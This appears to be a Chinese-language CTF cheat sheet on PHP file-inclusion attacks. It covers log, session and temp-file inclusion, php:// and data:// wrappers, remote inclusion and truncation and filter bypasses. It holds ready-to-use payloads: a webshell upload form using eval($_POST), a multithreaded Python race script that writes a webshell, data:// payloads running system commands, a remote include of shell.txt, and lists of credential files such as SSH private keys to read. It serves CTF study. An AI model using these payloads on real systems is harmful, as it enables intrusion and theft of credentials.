tips:如果包含非php文件的话会直接输出,包含php文件的话会执行里面的代码,不会输出
php.ini参数设置
可以通过phpinfo查看
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件
各协议的利用条件和方法
本地文件包含(LFI)
日志文件注入
常用路径
/var/log/apache2/access.log
/var/log/nginx/access.log
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
环境变量包含
修改 User-Agent 填写 php 代码
/proc/self/environ 这个文件里保存了系统的一些变量
只要权限足够就能getshell
session文件包含
默认路径
/tmp
/var/lib/php/session
phpinfo页面下的 session.save_path变量
文件名
sess_[PHPSESSID]
配置
use_strict_mode
要默认关闭
session.upload_progress.cleanup
要关闭( 如果开启,读取POST请求后就会自动删除进度信息,不能同时包含文件)
其他配置(默认就是这样的)
getshell
- 如果用户能够直接修改
$_SESSION
的值,就能写入恶意代码,通过文件包含执行文件
// 演示代码
$a = $_GET['a'];
$_SESSION["username"]=$a;
$include = $_GET['include'];
include($include);
// ?include=/var/lib/php/session/sess_[PHPSESSID] 直接包含即可RCE
- 利用
session.upload_progress
将木马写入session文件(通过修改PHPSESSID的值来自定义文件名),然后包含这个session文件(PHP版本>=5.4.0)
上传页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload-POC</title>
</head>
<body>
<form action="目标url" method="post" enctype="multipart/form-data">
<!-- session 上传 -->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();eval($_POST['kradress']); ?>" >
<!-- --------------------------------------- -->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
演示
<?php
//仅用于session.upload_progress 文件包含的教学
//session默认路径 /tmp 或者 /var/lib/php/session
//session文件名 sess_[PHPSSID]
if (isset($_GET['file'])){
include($_GET['file']);
} else {
highlight_file(__FILE__);
}
条件竞争
ctfshow群主的脚本,用多线程重放包
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-20 09:51:29
# @Last Modified by: k1he
# @Last Modified time: 2021-09-20 14:33:23
import io
import requests
import threading
sessid = 'k1he'
url = 'http://d6e3bf8e-15f1-45a5-b527-cbf5c6b95de7.challenge.ctf.show/'
def write(session):
while event.isSet():
f = io.BytesIO(b'a'* 1024 * 50) #创建文件
response = session.post( #post文件上传
url, #url
cookies = {'PHPSESSID':sessid}, #设置cookie为我们的sessid
data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');file_put_contents('/tmp/1.php','<?php phpinfo();eval($_POST[1]); ?>');?>"},#写马或执行内容
files = {"file":('k1he.txt',f)} #上传文的具体内容,文件名和文件内容
)
def read(session):
while event.isSet():
payload = "?page=/tmp/sess_"+sessid #包含我们的session路径
response = session.get(url = url+payload) #读取页面
if 'k1he.txt' in response.text: #返回页面
print(response.text)
event.clear
else:
print("[*]retrying!!!")
if __name__ == '__main__': #双线程运行
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
临时文件包含
临时文件路径和文件名
默认在
/tmp
目录下 文件名 php+6位随机字母
使php崩溃,保存临时文件
参考博客: https://www.cnblogs.com/tr1ple/p/11301743.html
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
适用版本
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
include.php?file=php://filter/convert.quoted-printable-encode/resource=/etc/passwd
这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数
• php7.0.0-7.0.32
• php7.0.4-7.2.12
• php<=5.6.38的版本
<!-- 5.6.39-5.6.9以内的版本并不存在这个崩溃 -->
自包含
三要素:
-
通过自包含或者其他方式使得临时文件暂时存在
-
能够同时查看phpinfo($_FILES[‘file’])
-
进行文件上传
利用自包含index.php,页面不断加载,文件上传跳转后要求显示phpinfo页面,在文件上传的时候,php
默认
会在/tmp目录下随机生成 php+6位随机字母的文件,上传后跳转到自包含的页面,这时候在phpinfo中的$_FILES[‘file’]变量会显示临时文件路径,到另一个页面包含这个文件就能getshell
文件上传路径
url?page=index.php&info
<?php
error_reporting(0);
if (isset($_GET['info'])) {
phpinfo();
} else {
highlight_file(__FILE__);
}
if (isset($_GET['page'])) {
$page = '/var/www/html/'.$_GET['page'];
include $page;
}
伪协议
php://filter
模板
php://filter/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.iconv.ASCII.UCS-2BE/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
// 用 echo iconv('UCS-2BE', 'UCS-2LE', $str); 解码
filter/[2次url编码]/resource 中间部分可以二次编码绕过
file://
通过访问路径读取文件
data://
base64
data://text/plain;base64,[base64_encode_shell] //base64 格式
data://text/plain,<?php phpinfo()?>
data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];;?>
| 获取文件目录 (多加一个;方便base64 不然base64编码以“+”结尾会导致“+”url被识别成%20
data://text/plain,<?php print_r(scandir("/var/www/html"));?>
| php读出当前目录下的文件
data://text/plain,<?php print_r(file_get_contents("flag.php"));?>
| php获取文件内容
compress.zlib://flag.php
读取压缩流
远程文件包含
需要allow_fopen=On并且allow_include=On
远程代码执行
file=[http|https|ftp]://example.com/shell.txt
php://input
post提交数据
文件包含截断
文件名后缀拼接
include$_GET['file'].'.jpg'
%00截断
在 php 版本小于 5.3.4 而且GPC = Off 允许使用%00 截断,在使用 include 等文件包含函数,可以截 断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。
?file=shell.txt%00
超长文件包含截断
这个合适于 win32 可以使用.进行截断 和 .
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)
利用操作系统对目录最大长度限制。
在 window 下 256 字节
linux 下 4096 字节
远程包含截断
字符
# -> %23
? -> %3f
00 -> %00
?file=http://127.0.0.1/shell.txt?
任意文件读取
敏感文件
读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
Windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
Linux
/proc/self/root #指向根目录
/proc/maps #记录一些调用的拓展或者自定义的so文件
/proc/self/environ #环境变量
/proc/environ #环境变量
/proc/comm #当前进程运行的程序
/proc/cmdline #程序运行的绝对路径
/proc/cpuset #docker环境可以看 machine ID
/proc/cgroup #docker环境全是 machine ID 不常用
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/root/.bash_history
/root/.mysql_history
flag字典php文件目录
https://github.com/ev0A/ArbitraryFileReadList/
目录穿越
js目录穿越
有时候 ../会被合并,可以将/进行URL编码(%2F)
python目录穿越
os.path.join(os.getcwd()+'/public','/tmp')
第二个参数以/开头,python会把它理解成根路径,最终拼接路径为/tmp
bypass
.
点被过滤
ip转长整型,里面有一句话木马,需要vps
include "http://2002459365";
;被过滤
?>闭合代码
include(不用括号)或者require也一样
数字被过滤 可以改成字符串 不用加单引号也可以
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
<!-- | include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> -->
强制加后缀 如 include($cmd.".php")
$cmd=data://text/plain,<?php phpinfo()?>
// 后面再拼接上.php的时候,由于php语句已经闭合,所以起不了什么作用
路径过滤
replace('./','') = > ...//...//...//...//...//flag
file_put_content或者highlight_file
参考文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
参考博客
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file, "<?php die();?>".$content);
file_put_contents() 把一个字符串写入文件中
第一个参数 要写入数据的文件。如果文件不存在,则创建一个新文件。
第二个参数 写入的内容
用base64
?file=php://filter/write=convert.base64-decode/resource=flag.php
content=a[base64-encode]
这里解释一下
php://filter/write=convert.base64-decode/resource=flag.php
是将flag.php写入的内容"<?php exit();?>".$content
进行base64解码,”<?php die();?>”中只有phpexit会被解码,而base64是4字节个一组的,phpdie只有6字节,所以content要补两个a,否则无法正常解码
用string.rot13
?file=php://filter/write=string.rot13/resource=flag.php
content=[rot13-encoding]
用 UCS-2LE UCS-2BE
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
post:
contents=?<hp pvela$(P_SO[T]1;)>?
这种是将字符两位两位进行交换
大家可以自行测试如下代码
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');
输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>
! is_file()
检查指定的文件名是否是正常的文件。
目录溢出绕过
/proc/self/root是指向根目录的
ls /proc/self/root
is_file函数能处理的长度有限,用/proc/self/root可以目录溢出
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
伪协议包装
上面有
! file_exists()
函数检查文件或目录是否存在。
构造不存在的文件
/nice/../../proc/self/cwd/flag.php
./nice/../flag.php
伪协议包装